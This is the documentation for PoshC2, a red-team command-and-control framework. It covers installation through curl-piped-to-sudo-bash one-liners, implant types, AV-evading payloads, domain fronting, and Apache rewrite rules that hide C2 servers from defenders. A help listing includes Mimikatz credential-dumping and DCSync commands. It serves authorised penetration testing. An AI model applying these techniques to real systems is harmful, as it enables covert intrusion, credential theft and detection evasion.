Overview

_images/logo.png

PoshC2 is a proxy aware C2 framework used to aid penetration testers with red teaming, post-exploitation and lateral movement.

PoshC2 is primarily written in Python3 and follows a modular format to enable users to add their own modules and tools, allowing an extendible and flexible C2 framework. Out-of-the-box PoshC2 comes PowerShell/C# and Python3 implants with payloads written in PowerShell v2 and v4, C++ and C# source code, a variety of executables, DLLs and raw shellcode in addition to a Python3 payload. These enable C2 functionality on a wide range of devices and operating systems, including Windows, *nix and OSX.

Other notable features of PoshC2 include:

  • Consistent and Cross-Platform support using Docker.
  • Highly configurable payloads, including default beacon times, jitter, kill dates, user agents and more.
  • A large number of payloads generated out-of-the-box which are frequently updated and maintained to bypass common Anti-Virus products.
  • Auto-generated Apache Rewrite rules for use in a C2 proxy, protecting your C2 infrastructure and maintaining good operational security.
  • A modular format allowing users to create or edit C#, PowerShell or Python3 modules which can be run in-memory by the Implants.
  • Notifications on receiving a successful Implant, such as via text message or Pushover.
  • A comprehensive and maintained contextual help and an intelligent prompt with contextual auto-completion, history and suggestions.
  • Fully encrypted communications, protecting the confidentiality and integrity of the C2 traffic even when communicating over HTTP.
  • Client/Server format allowing multiple team members to utilise a single C2 server.
  • Extensive logging. Every action and response is timestamped and stored in a database with all relevant information such as user, host, implant number etc. In addition to this the C2 server output is directly logged to a separate file.
  • PowerShell-less implants that do not use System.Management.Automation.dll using C# or Python.
  • A free and open-source SOCKS Proxy by integrating with SharpSocks

PoshC2 is fully open source and available on GitHub here: https://github.com/nettitude/PoshC2/

Install

PoshC2 can be installed on any system with Python3 installed, however it is only commonly tested on Debian based Linux distribution, such as Ubuntu and Kali Linux. These operating systems are also free and open source and for the most reliable experience it is recommended that PoshC2 in this way, from a VPS or Virtual Machine if required.

It is recommended to add an exclusions folder for any host-based Anti-Virus for the PoshC2 install directory and project directory.

You can install PoshC2 directly or use the Docker images, instructions for both are below.

Elevated privileges are required as the install script performs apt updates and installations.

curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/master/Install.sh | sudo bash

You can manually set the PoshC2 installation directory by passing it to the Install.sh script as the -p argument. The default is /opt/PoshC2:

Cutting Edge features

We want to keep the master branch stable to ensure that users are able to rely on it when required and for this reason changes can often be feature-complete but not yet present on master as they have not been tested completely and signed-off yet.

If you want to look at upcoming features in PoshC2 you can check out the dev branch, or any individual feature branches branched off of dev.

As features are tested before they are merged into dev this branch should still be fairly stable and operators can opt in to using this branch or a particular feature branch for their engagement. This does trade stablity for new features however so do it at your own discretion.

To use dev or a feature branch pass the branch name to the Install.sh script as the -b argument:

Note the URL includes the branch name also (here dev instead of master).

Installing for Docker

You can also run PoshC2 using Docker, this allows more stable and running and enables PoshC2 to easily run on other operating systems.

This script does not clone PoshC2 as the PoshC2 images on Docker Hub are used, so only a minimal install of some dependencies and scripts are performed.

To start with, install Docker on the host and then add the PoshC2 projects directory to Docker as a shared directory if required for your OS. By default this is /var/poshc2 on *nix.

Kali based hosts

Python3 install script:

Elevated privileges are required as the install script performs apt updates and installations.

To use the dev or feature branches with Docker curl down the Install-for-Docker.sh on the appropriate branch and pass the branch name as an argument:

Other OSs

On other *nix flavours and MacOS, copy the posh-docker* commands to your path. On Windows, import the PoshC2.psm1 PowerShell module.

Keep In Touch

For all the latest news and features, or for the latest documentation and support check out the PoshC2 GitHub page or find us below:

Find us on Twitter - @Nettitude_Labs.

Find us on Slack - poshc2.slack.com (Send an email to labs below to be added to slack channel).

Find us on Email - labs@nettitude.com.

Key Contributors

Contribute

We actively encourage the industry to contribute and would want nothing less for PoshC2, be it pull requests, reporting bugs or new ideas. There is no such thing as a stupid question or bad idea.

The best place to do this is on GitHub or chat in the PoshC2 slack channel.

Index

Installation & Setup

Architecture

PoshC2 consists of a C2 Server process that listens for connections from implants and provides a log for task output, new implants, messages and so on, and one or more Implant-Handler processes that are used to issue commands to the C2 Server and Implants. The files responsible for running PoshC2 are stored in /opt/PoshC2 by default, and project specific files such as the configuration file, logs, generated payloads and (if using SQLite) a local database are stored in the project directory in /var/poshc2/<project name>.

The database is used to store and log data and facilitates communication between the two processes. For example, every task that is issued to an implant from an Implant-Handler is stored in this database with a timestamp, the user who ran the command, the implant details and more. Tasks are then picked up from the database by the C2 Server process and issued to Implants when they check in, ensuring that no tasks go unlogged.

_images/processes.png

The Implant Handler writes tasks to the database which are picked up and updated by the C2 Server.

It is recommended to use a C2 Proxy to maintain operational security by proxying all traffic to the C2 Server. A simple VPS running Apache can be stood up and mod_rewrite used to silently redirect traffic from the proxy to the C2 Server without the client knowing, allowing the red team to keep their C2 infrastructure hidden and allowing flexibility should the proxy IP be compromised.

A typical example could look like this:

_images/proxy.png

See the Apache page for more details.

Domain Fronting

PoshC2 can also use Domain Fronting for C2 communication.

Domain Fronting provides multiple additional benefits, such as:

  • Outbound C2 traffic is in requests made to a legitimate website.
  • That website’s domain reputation is what is checked by the target.
  • Domain Fronting cannot feasibly be detected unless SSL Inspection is in place.
  • Additional layers of security are added between the target and the C2 server.

The way we perform domain fronting in PoshC2 is by adding the Host header to the web requests made by the C2 traffic.

_images/domainfronting.png

To configure PoshC2 to use Domain Fronting, when editing the configuration ensure the PayloadCommsHost parameter points at the site being initially connected to by the target, i.e. the Domain Frontable site. The DomainFrontHeader parameter should then have the value of the CDN endpoint that will go in the HTTP Host header. This value should be the domain name only.

PayloadCommsHost = "https://frontable.com"
DomainFrontHeader = "endpoint.cdn.com"

Note that the host must have .NET v4.0.30319 installed and available to the Implant process. If this is not the case, the implant will fall back to a direct connection to the CDN endpoint.

Installation

PoshC2 is written in Python3 and developed and tested on Kali Linux. For this reason, it is recommended to run PoshC2 on Kali Linux to achieve the most stable results. Alternatively, Docker images are provided which allow PoshC2 to be run on any host that supports Docker.

If you are using a host Anti-Virus it is recommended that you add an exclusion on the folder or location of the PoshC2 install and its project directory.

An install script is provided for installing PoshC2:

*** PoshC2 Install script ***
Usage:
./Install.sh -b <git branch> -p <Directory to clone PoshC2 to>

Defaults are master branch to /opt/PoshC2

Elevated privileges are required as the install script performs apt updates and installations.

A bash one-liner is provided which curls down this script and executes it:

curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/master/Install.sh | sudo bash

Alternatively the repository can be cloned down and the install script manually run.

sudo ./Install.sh

You can manually set the PoshC2 installation directory by passing it to the Install.sh script as the -p argument. The default is /opt/PoshC2:

curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/master/Install.sh | sudo bash -s -- -p /root/PoshC2

Cutting Edge Features

We want to keep the master branch stable to ensure that users are able to rely on it when required and for this reason changes can often be feature-complete but not yet present on master as they have not been tested completely and signed-off yet.

If you want to look at upcoming features in PoshC2 you can check out the dev branch, or any individual feature branches branched off of dev.

As features are tested before they are merged into dev this branch should still be fairly stable and operators can opt in to using this branch or a particular feature branch for their engagement. This does trade stablity for new features however so do it at your own discretion.

To use dev or a feature branch pass the branch name to the Install.sh script as the -b argument:

curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/dev/Install.sh | sudo bash -s -- -b dev

Note the URL includes the branch name also (here dev instead of master).

Docker

You can also run PoshC2 using Docker, this allows more stable and running and enables PoshC2 to easily run on other operating systems.

The Docker install does not clone PoshC2 as the PoshC2 images on Docker Hub are used, so only a minimal install of some dependencies and scripts are performed.

To start with, install Docker on the host and then add the PoshC2 projects directory to Docker as a shared directory if required for your OS. By default this is /var/poshc2 on *nix.

Linux based hosts

For *nix hosts, an install script is provided:

*** PoshC2 Install script for Docker ***
Usage:
./Install-for-Docker.sh -b <git branch>

Default is the master branch

Elevated privileges are required as the install script performs script installations.

curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/master/Install-for-Docker.sh | sudo bash

To use the dev or feature branches with Docker curl down the Install-for-Docker.sh on the appropriate branch and pass the branch name as an argument:

curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/BRANCHNAME/Install-for-Docker.sh | sudo bash -s -- -b BRANCHNAME
Windows

On Windows, import the PoshC2.psm1 PowerShell module.

Apache Rewrite Rules

It is recommended to use a C2 Proxy to maintain operational security by proxying all traffic to the C2 Server. A simple VPS running Apache can be stood up and mod_rewrite used to silently redirect traffic from the proxy to the C2 Server without the client knowing, allowing the red team to keep their C2 infrastructure hidden and allowing flexibility should the proxy IP be compromised.

A typical example could look like this:

_images/proxy.png

This provides operational security by not exposing the C2 infrastructure to the target or the internet at large, and allows the red team to pivot onto a different C2 proxy if the existing one is compromised, without the need to change the C2 server itself.

Using Apache Rewrite rules we can redirect traffic that is intended for the C2 server but also retain a fully functional web site on the same host that does not hit our Rewrite Rules, so that if bots, unrelated browsers or the blue-team come a-lookin’ they are only served a benign website.

To help explain this Nettitude created a short blog which explains one way of achieving this using a VPS with OpenVPN:

Setup

Once you’ve setup a VPS you will need to configure Apache to rewrite your C2 traffic back to the C2 Server instance. The example below details a typical example:

You will need to install Apache HTTPd and enable some modules before running the webserver:

apt-get install apache2
apt install libapache2-mod-security2
a2enmod security2
a2enmod ssl
a2enmod rewrite
a2enmod proxy
a2enmod proxy_http
a2enmod headers

As part of the C2 Server’s bootstrap process when it first launches for a new project it generates a rewrite-rules.txt file with the required rules for that C2 server for the Apache configuration. We then place the rules within your Apache configuration file for relevant virtual hosts:

<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<IfModule mod_ssl.c>
    <VirtualHost _default_:443>
        RewriteEngine On
        SSLProxyEngine On
        SSLProxyCheckPeerCN Off
        SSLProxyVerify none
        SSLProxyCheckPeerName off
        SSLProxyCheckPeerExpire off

        # If running Apache 2.4.52 or Later
        Proxy100Continue Off

        # If you want 404 cookie information for OPSEC
        # https://labs.nettitude.com/blog/operational-security-with-poshc2-framework/
        SecAuditEngine RelevantOnly
        SecAuditLog /var/log/apache2/sec.log
        SecAuditLogParts BSecAudit
        LogRelevantStatus ^(404)

        # Change IPs to point at C2 infrastructure below
        Define PoshC2 10.0.0.1
        Define SharpSocks 10.0.0.1
        RewriteRule ^/wpaas/(.*) https://${PoshC2}/wpaas/$1 [NC,L,P]
        RewriteRule ^/bh/sync/(.*) https://${PoshC2}/bh/sync/$1 [NC,L,P]
        RewriteRule ^/status/995598521343541248/(.*) https://${PoshC2}/status/995598521343541248/$1 [NC,L,P]
        RewriteRule ^/adsense/troubleshooter/1631343/(.*) https://${PoshC2}/adsense/troubleshooter/1631343/$1 [NC,L,P]
        RewriteRule ^/vssf/wppo/site/bgroup/visitor/(.*) https://${PoshC2}/vssf/wppo/site/bgroup/visitor/$1 [NC,L,P]
        RewriteRule ^/adServingData/PROD/TMClient/6/8736/(.*) https://${PoshC2}/adServingData/PROD/TMClient/6/8736/$1 [NC,L,P]
        RewriteRule ^/vfe01s/1/(.*) https://${PoshC2}/vfe01s/1/$1 [NC,L,P]
        RewriteRule ^/GoPro5/black/2018/(.*) https://${PoshC2}/GoPro5/black/2018/$1 [NC,L,P]
        RewriteRule ^/qqzddddd/2018/(.*) https://${PoshC2}/qqzddddd/2018/$1 [NC,L,P]
        RewriteRule ^/usersync/tradedesk/(.*) https://${PoshC2}/usersync/tradedesk/$1 [NC,L,P]
        RewriteRule ^/classroom/sharewidget/(.*) https://${PoshC2}/classroom/sharewidget/$1 [NC,L,P]
        RewriteRule ^/uasclient/0.1.34/modules/(.*) https://${PoshC2}/uasclient/0.1.34/modules/$1 [NC,L,P]
        RewriteRule ^/bootstrap/3.1.1/(.*) https://${PoshC2}/bootstrap/3.1.1/$1 [NC,L,P]
        RewriteRule ^/babel-polyfill/6.3.14/(.*) https://${PoshC2}/babel-polyfill/6.3.14/$1 [NC,L,P]
        RewriteRule ^/trader-update/(.*) https://${PoshC2}/trader-update/$1 [NC,L,P]
        RewriteRule ^/work/embedded/(.*) https://${PoshC2}/work/embedded/$1 [NC,L,P]
        RewriteRule ^/cisben/(.*) https://${PoshC2}/cisben/$1 [NC,L,P]
        RewriteRule ^/utag/lbg/main/prod/(.*) https://${PoshC2}/utag/lbg/main/prod/$1 [NC,L,P]
        RewriteRule ^/load/pages/(.*) https://${PoshC2}/load/pages/$1 [NC,L,P]
        RewriteRule ^/types/translation/v1/articles/(.*) https://${PoshC2}/types/translation/v1/articles/$1 [NC,L,P]
        RewriteRule ^/async/(.*) https://${PoshC2}/async/$1 [NC,L,P]
        RewriteRule ^/business/(.*) https://${PoshC2}/business/$1 [NC,L,P]
        RewriteRule ^/branch-locator/(.*) https://${PoshC2}/branch-locator/$1 [NC,L,P]
        RewriteRule ^/business/retail-business/(.*) https://${PoshC2}/business/retail-business/$1 [NC,L,P]
        RewriteRule ^/Philips/v902/(.*) https://${PoshC2}/Philips/v902/$1 [NC,L,P]
        RewriteRule ^/web/20110920084728/(.*) https://${SharpSocks}/web/20110920084728/$1 [NC,L,P]
        RewriteRule ^/putil/2018/0/11/(.*) https://${SharpSocks}/putil/2018/0/11/$1 [NC,L,P]

        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
        SSLEngine on
        SSLCertificateFile    /etc/ssl/certs/ssl-cert-snakeoil.pem
        SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
    </VirtualHost>
</IfModule>

Any C2 URLs that match these rules will therefore be rewritten to the C2 Server. Any that do not match these URLs will instead be served content from the usual DocumentRoot, in this case /var/www/html.

Apache Whitelist

When performing a Red Team engagement, it is imperative that your C2 infrastructure be sufficiently locked down and should only allow implants from the correct IP address range of the Customer. This is known as whitelisting.

To add a whitelist to the C2 Proxy, create a file with all the IP addresses that are known to be the client. There is a slight nuance with Apache as the file format is the below:

10.0.0.1 –
10.0.0.2 –

This Python script will help convert a IP CIDR range into the correct format for Apache:

#!/usr/bin/python
from netaddr import IPNetwork
import sys

for ip in IPNetwork("10.10.0.0/21"):
    print '%s -' % ip

Once you have the whitelist, you can use the RewriteMap function to add the IP address list for use in rewrite conditions. Below is a simple Rewrite Rule which will respond to the client with a 404 Not Found response if the requesting IP is not in the whitelist.

RewriteMap IP txt:/etc/apache2/whitelist
Define PoshC2 10.0.0.1
RewriteCond ${IP:%{REMOTE_ADDR}|NOT-FOUND} !NOT-FOUND
RewriteRule ^/images/static/content/(.*) https://${PoshC2}/images/static/content/$1 [NC,P,L]
...

You have to do this for each rewrite rule you want to apply for each URL. In this case we are applying to the /images/static/content/ path.

Whitelists and Domain Fronting

Another nuance is that if you are using Domain Fronting then the requesting IP will be that of the CDN provider, as they are making the request. They will however, put the originating IP in the X-Forwarded-For header, and it is this IP that we also whitelist on:

RewriteMap ips txt:/etc/apache2/whitelist.txt
RewriteCond ${ips:%{REMOTE_ADDR}|NOT-FOUND} !NOT-FOUND [OR]
RewriteCond ${ips:%{HTTP:X-Forwarded-For}|NOT-FOUND} !NOT-FOUND
RewriteRule ^/images/static/content/(.*) https://${PoshC2}/images/static/content/$1 [NC,P,L]
...

Please see the Apache HTTPd and mod_rewrite websites for more information.

Operational Security with PoshC2 Framework

The following post describes the capability that has been deployed within PoshC2, which is designed to assist with revealing a wider set of target environment variables at the dropper stage, as part of operational security controls.

  • https://labs.nettitude.com/blog/operational-security-with-poshc2-framework/

Imagine the following scenario. You’ve deployed IP address white-listing on the proxy as above in order to limit implant installation to a specific environment. A connection arrives back from a host that’s not associated with your target environment, so the connection is dropped and PoshC2 never sees the incoming connection attempt. By adding some additional logging on the proxy, and utilising the new CookieDecrypter.py script, you can now reveal specific environment variables about where the dropper was executed. This information allows for better decision making on what to do next in this scenario. It yields greater situational awareness.

Configuring & Starting PoshC2

Once you have installed PoshC2 the first step is to create a new project abd then edit the configuration file.

Configuration

PoshC2’s projects are stored in /var/poshc2/, project creation, listing and switching is handled by the posh-project script:

[*] Usage: posh-project -n <new-project-name>
[*] Usage: posh-project -s <project-to-switch-to>
[*] Usage: posh-project -l (lists projects)

Start by creating a new project:

posh-project -n my-project-name

All project data and configuration is then stored in this project directory at /var/poshc2/my-project-name.

You can edit the configuration file for your current project by issuing the following command:

posh-config

This will open the configuration file in your local $EDITOR of choice. If this variable is not set, then the default is vim. A --nano option exists for users who prefer nano.

Some common options to change include:

  • PayloadCommsHost - This is the URL list that you want to use for all C2 communications that the payloads will beacon out to.
  • DomainFrontHeader - If Domain Fronting is being used, this will be the value of the HTTP Host headers.
  • KillDate - This is the date that all persistence and implants will stop beaconing.
  • Jitter - The beacon period jitter value as a decimal (e.g. 0.2 = 20% = between 4 and 6s if the beacon is 5s.).
  • DefaultSleep - The default beacon period for new implants.
  • EnableNotifications - Enable notifications for when a new implant connections (requires ClockworkSMS or Pushover to be set up).
  • NotificationsProjectName - A prefix for notifications to identify this server.
  • DefaultMigrationProcess - For generated payloads that migrate into a new process, this is the process that is spawned and migrated into.
  • UserAgent - the UserAgent to use for HTTP(S) communications.

By default, PoshC2 will configure the implant to use HTTPS, however it can be used over plain text HTTP if required by changing the PayloadCommsHost protocol to http://. Even over HTTP, all communications are encrypted in order to keep communications secure. The added benefit of HTTPS is that unless the organisation is performing SSL Inspection the communications cannot be checked, and encrypted HTTP traffic could be deemed suspicious. Furthermore, HTTPS traffic encrypts all HTTP headers, allowing the use of Domain Fronting without the Host header being readable, again unless SSL Inspection is being performed.

_images/config.png

Running PoshC2

C2 Server

Once PoshC2 has been configured, launch the C2 server by running the following:

posh-server

The first time the C2 server is run per project, it will create the project folder structure and database and build all the out-of-the-box payloads for your configuration, in addition to printing some quickstart commands to the server log, such as a PowerShell one liner for quick testing.

_images/c2server.png

Once the log reports that the webserver is running, PoshC2 is ready to receive implants.

If a second user wants to view the C2 Server log they cannot run posh-server again as this will attempt to bind to the same port. Instead, the log can be viewed with:

posh-log
Implant Handler

The Implant-Handler is used to interact with the C2 Server and any Implants. It can be started by issuing this command:

posh

This will prompt the user for a username. This is only used for logging and tracking purposes. You can set the user from the command line through the -u option:

posh -u crashoverride
_images/implanthandler.png

Multiple Implant-Handler processes can be run to allow different users or sessions to control the C2 Server.

Docker

If you are using Docker, you can specify a Docker image tag to use by passing the -t argument to the C2Server or ImplantHandler:

posh -u crashoverride -t latest

Additionally, as the C2Server container is not interactive when using Docker, a posh-stop-server script exists for stopping this process.

Project Folder

Each project creates a unique folder to store all data and downloads specific to that engagement, including unique encryption keys. This means if you have shellcode pre-configured for one project, this will not connect to another project as the encryption keys will not match. This is an in-built safety measure to ensure that only expected payloads connect to expected servers.

Running as a Service

When running on a server, PoshC2 can be setup to run as a service instead of a foreground process.

This means that if the user’s session quits then the process will not die, and similarly if the host is rebooted the service will resume automatically.

The C2 server can be installed and started as a service by issuing the following command:

posh-service

This will install and launch the service and view the log, however now if the user ctrl-c’s the log the C2 service will continue to run in the background. If posh-service is re-run it will restart the service.

A user can resume viewing the log by entering:

posh-log

The service can be stopped by running:

posh-stop-service

Communications Failover

The communications options in PoshC2 can be configured with an array of URLs and host headers to provide implants with communications failover and rotation options.

When editing the configuration, simply provide a list of PayloadCommsHost values and DomainFrontHeader values.

PayloadCommsHost: "https://domainfrontable.com,https://direct.com"
DomainFrontHeader: "dfheader.com,direct.com"

There is a one-to-one mapping of DomainFrontHeaders to PayloadCommsHosts so these arrays must be of equal length, though empty header values are allowed.

This configuration will now attempt to get out on the first URL and Header combination, then failover to the second and so on. This will stop on the first successful connect and start the loading of the second stage. If no connection is made then each URL will be re-attempted several times after an increasing timeout to give operators the opportunity to fix any whitelisting issues etc.

Communications Rotation

Once in the environment communications rotation can be turned on. The idea for rotation is to identify a number of URLs that you would like to spread your comms over and then randomly communicate over all of them. This has the added benefits of helping blend, while also allowing operators to respond to a client blocking individual C2 URLs. Furthermore, this will help avoid telemetry detections. If you are rotating through multiple URLs and one is blocked then the rotation list can be modified on the next successful callback.

To assist with identifying URLs that work and can connect back to the C2 server, a PowerShell script is provided that will display the results in the C2 server window.

invoke-urlcheck -urls https://ur1.com,https://url2.com -domainfront header1.com,header2.com -uri /en-gb/surface/accessories/

27/03/2020 09:30:55: The URL: https://url1.com successfully connected
27/03/2020 09:30:56: The URL: https://url2.com successfully connected

Once a list is prepared communications rotation can be enabled using the enable-rotation command which will then prompt the user for the values.

get-rotation can be used to see what URLs are being cycling through at any given time when rotation is enabled.

Updating PoshC2

It is not recommended to update PoshC2 during an engagement. Incoming changes may be incompatible with an existing project and can result in erratic behaviour.

When using a git cloned version of PoshC2 you can update your PoshC2 installation using the following command:

*** PoshC2 Update Script ***
Usage:
posh-update -b <git branch>

Default is the master branch

Any existing changes are `git stash`ed before updating.

Using PoshC2

Managing PoshC2

Once PoshC2 is setup and running you can find all relevant project data in your project directory under /var/poshc2.

This includes:

  • The project configuration file
  • The project database if using a local SQLite database
  • Log files
  • The Apache mod_rewrite rewrite rules for if using a C2 Proxy
  • A payloads directory with all the generated payloads. Any additional payloads you want to use in PoshC2 should be placed in here
    • Any relevant information on using the payloads, such as DLL entry points, are logged in the C2 Server log when it starts up
  • A downloads directory for any files that get downloaded using the Implants
  • A reports directory for any reports generated by PoshC2

The C2 Server and Implants are interacted with through the ImplantHandler.

The ImplantHandler features a top-level prompt when an Implant is not selected for interacting with the C2 Server. This prompt can always be reached by entering the back command from an Implant. This prompt receives commands such as enabling or disabling notifications, changing the default beacon time, managing captured credentials, creating new payloads for new URLs or for Proxy or Daisy Implants and more.

_images/implant-handler-top-prompt.png

Any none-Implant configuration is performed from this prompt, in addition to selecting Implants to work with.

Quitting PoshC2

The Implant-Handler traps Ctrl-c Keyboard Interrupts and resets the prompt so that if you typo a large command, for example, the prompt will just reset much like a terminal shell.

To quit PoshC2, you can send an EOF with Ctrl-d (again the same as a terminal shell), or type the quit command.

Getting an Implant

Posh has several types of Implant:

  • PowerShell - a PowerShell based Implant that does not use PowerShell.exe but instead interacts with System.Management.Automation.dll directly.
    • This Implant allows the user to load any PowerShell module and execute any PowerShell cmdlets from the Implant prompt.
    • PowerShell version 2 and version 4 payloads exist.
  • Sharp - a C#.NET Implant that does not use any PowerShell related functionality at all and does not interact with any PowerShell components.
    • This Implant can run C# executables in memory, such as BloodHound and the GhostPack binaries from SpectreOps.
  • Python - a Python3 Implant that requires Python3 on the target in order to execute, but allows the user to run arbitrary Python3 code and load Python3 scripts.
  • PBind - PowerShell and Python Implants that communication using named pipes.

Payloads for all these Implants are generated in the project payloads directory, and should be sensibly named with type, architecture and version (in case of PowerShell). Raw and Base64 encoded Shellcode files are also created for custom payload creation or in-memory injection.

Once a payload is successfully executed, an Implant will check in and a message will be displayed in the C2 Server log, and the second stage will be automatically loaded:

_images/new-implant.png

This will detail useful information such as the the Implant ID, the Implant type and the environment it is running in.

The Implant Types can be summarised as:

  • PS - PowerShell Implant.
  • C# - C# Implant that does not use System.Management.Automation.dll.
  • PY - Python Implant.
  • PB - PBind

These can also have suffixes depending on the Implant sub-type:

  • ;D - A Daisy Implant that is achieving C2 communications by daisy-chaining traffic through another implant.
  • ;P - A Proxy Implant with hard-coded Proxy credentials.

Some other notes:

  • If the user’s username has a * as a suffix then the Implant is running in an elevated context.

The Implant will also be available in the Implant-Handler once it is refreshed by pressing Enter:

_images/implant-handler-new-implant.png

At this stage, the Implant is ready to receive commands from the user.

Implants

As previously mentioned, PoshC2 has three types of Implant:

  • PowerShell - a PowerShell based Implant that does not use PowerShell.exe but instead interacts with System.Management.Automation.dll directly.
    • This Implant allows the user to load any PowerShell module and execute any PowerShell cmdlets from the Implant prompt.
    • PowerShell version 2 and version 4 payloads exist.
  • Sharp - a C#.NET Implant that does not use any PowerShell related functionality at all and does not interact with any PowerShell components.
    • This Implant can run C# executables in memory, such as BloodHound and the GhostPack binaries from SpectreOps.
  • Python - a Python3 Implant that requires Python3 on the target in order to execute, but allows the user to run arbitrary Python3 code and load Python3 scripts.
  • PBind - a subset of PowerShell and Sharp implants that uses named pipes to communicate.

Using an Implant

The Implant-Handler window will not refresh the implant check-in times automatically, however, if you hit the [enter] key without any values in the input field it will refresh the implant window and update the last checked in times/dates. If you then wish to use one of the implants type the ID value and hit enter and this will put you into a prompt like follows 1:

PS 1>

If you want to select more than one implant, you can provide a comma separated list 1,2,3,4:

1,2,3>

Finally, you can select ALL implants by typing ALL:

ALL>

The Implant-type is displayed just to the left of the prompt, unless multiple Implants have been selected.

The Implant Types can be summarised as:

  • PS - PowerShell Implant.
  • C# - C# Implant that does not use System.Management.Automation.dll.
  • PY - Python Implant.
  • PB - PBind

These can also have suffixes depending on the Implant sub-type:

  • ;D - A Daisy Implant that is achieving C2 communications by daisy-chaining traffic through another implant.
  • ;P - A Proxy Implant with hard-coded Proxy credentials.

Once at the Implant prompt, commands that are executed are issued to the Implant(s). Context sensitive help and history is provided to assist in commands. See the Help section for more information.

When a command is issued to an Implant it is issued as a Task with a particular identifier. This identifier can be seen in the C2 server log along with the executing user when a Task is picked up by an Implant. When an Implant responds to a particular task, it does so using the same Identifier, allowing command input and output to be correlated directly, and actions attributed to users.

_images/tasks.png

Note that if PowerShell output is truncated then, as in PowerShell directly, the user can pipe the command to Format-List or its alias fl to retrieve the full output.

_images/pipe-to-fl.png

Note that any tasks that are run automatically, such as the loading of certain modules, are performed as the autoruns user.

Loading and Running modules

Any PowerShell script can be loaded by the PowerShell implant and executed in memory:

loadmodule MyPowerShellScript.ps1
Invoke-MyCmdlet

Or similarly for Python Implant

loadmodule MyPythonScript.py
my_python_function("arg")

The C# Implant also has the ability to load and execute modules in memory, but these modules are C#.NET executables. These modules are invoked through .NET reflection and do not touch disk, and PoshC2 requires a few extra bits of information.

  • The Namespace of the class containing the Main method
  • The Class name of the class containing the Main method
  • The Assembly name
loadmodule MySharpStuff.exe
run-exe Namespace.Class Assembly <args>

For example, if the below code was compiled into an executable:

using System;

namespace ConsoleApp1
{
    class MySuperProgram
    {
        static void Main(string[] args)
        {
            if (args.Length >= 1)
            {
                Console.WriteLine(args[0]);
            }
        }
    }
}

Then we can see the namespace is ConsoleApp1, and the class is MySuperProgram

The Assembly Name can be found in Visual Studio by right-clicking the project (not the solution) and choosing Properties

_images/assemblyname1.png

Alternatively it can be found in the Projects .csproj file:

_images/assemblyname21.png

In this case the Assembly Name is PwnStuff.

The command then to run the executable and print “PoshC2Rocks” would be:

run-exe ConsoleApp1.MySuperProgram PwnStuff PoshC2Rocks
_images/run-exe1.png

There is also a run-dll command which works exactly the same way as run-exe for C#.NET DLLs, however there is one additional argument which specifies the entry point (and the class and namespace must match that of this entrypoint):

run-dll ConsoleApp1.MySuperProgram PwnStuff MyEntryMethod PoshC2Rocks

Finally, there is also the run-exe-background command which operates in the exact same way as above, except it runs the command in the background in the implant as opposed to the foreground.

SOCKS Proxying

One of the most important tools for a Red Teamer is the SOCKS Proxy. This enables the creation of a tunnel between two machines such that any network traffic forwarded through it appears to have originated from the target environments end. Once a foothold has been gained on a machine, a SOCKS proxy can be deployed between the operators machines and the target in order to access subnets, machines and services that would not normally be directly accessible. This includes being able to RDP to another machine or even to browse the corporate Intranet.

Nettitude have their own Socks proxy called SharpSocks by Rob Maslen which is incorporated with PoshC2, see the blog post about it here.

SOCKS support is built into most modern browsers and cURL. However, to use tools like rdesktop or nmap, proxychains on Linux can be used to tunnel the traffic. On Windows, software such as ProxyCap (http://www.proxycap.com/) can be used.

To start sharpsocks, enter the sharpsocks command into a PowerShell Implant, which will provide the user with a command to run on the C2 server that will start the SOCKS server:

PS 1> sharpsocks
/opt/PoshC2/SharpSocks/SharpSocksServerCore -c=CteIopoCcIfFegXFXsdzyscpt -k=O4QsWRPiEXYbHJobUSs9GfPloh9O8U7VlyV0dxYnWZ8= --verbose -l=http://127.0.0.1:49031

Are you ready to start the SharpSocks in the implant? (Y/n)

Once the SharpSocks server is running, press Enter, and the Implant will connect to the SharpSocks server. The SharpSocks server output will indicate when the implant has successfully connected and the SOCKS proxy has started.

Help

PoshC2 has multiple maintained options for receiving help while using the tool.

In the Implant-Handler, the help command can always be run to provide a smart list of commands that are relevant to the current context. For example, in a PowerShell implant, only PowerShell relevant commands will be shown.

This help can be searched through the use of the searchhelp command:

PS 1> searchhelp mimikatz
searchhelp mimikatz
invoke-mimikatz -command '"sekurlsa::logonpasswords"'
invoke-mimikatz -command '"lsadump::sam"'
invoke-mimikatz -command '"lsadump::lsa"'
invoke-mimikatz -command '"lsadump::cache"'
invoke-mimikatz -command '"lsadump::secrets"'
invoke-mimikatz -command '"ts::multirdp"'
invoke-mimikatz -command '"privilege::debug"'
invoke-mimikatz -command '"crypto::capi"'
invoke-mimikatz -command '"crypto::certificates /export"'
invoke-mimikatz -command '"sekurlsa::pth /user:<user> /domain:<dom> /ntlm:<hash> /run:c:\temp\run.bat"'
invoke-mimikatz -command '"lsadump::dcsync /domain:domain.local /user:administrator"'

Auto-completion

Furthermore, each prompt has an intelligent context sensitive autocompletion menu:

These commands are fuzzy-matched with the current text (for the first word only), so for example isc will match invoke-shellcode and wmi will show all the commands with wmi in them.

_images/autocompletions.png

Auto-suggestions

Each prompt maintains a contextual command history and provides auto-suggestions. For example, commands issued at a C# implant prompt will have their own history, and when at a C# prompt fish-shell-like suggestions will appear in gray text from that contextual history. These suggestions can be completed by pressing the right-arrow key or Ctrl-e.

_images/autosuggestions.png

Module Help

For help on the individual modules in PoshC2, you can check the module source or run Get-Help for PowerShell modules once they have been loaded:

LoadModule Invoke-Mimikatz.ps1
Get-Help Invoke-Mimikatz

For C# and Python modules, if the module has help it can be loaded and run to display the help.

loadmodule MyHelpfulModule.exe
run-exe MyHelpfulModuleNamespace.MyHelpfulModuleClassName MyHelpfulModuleAssemblyName --help

Python Documentation

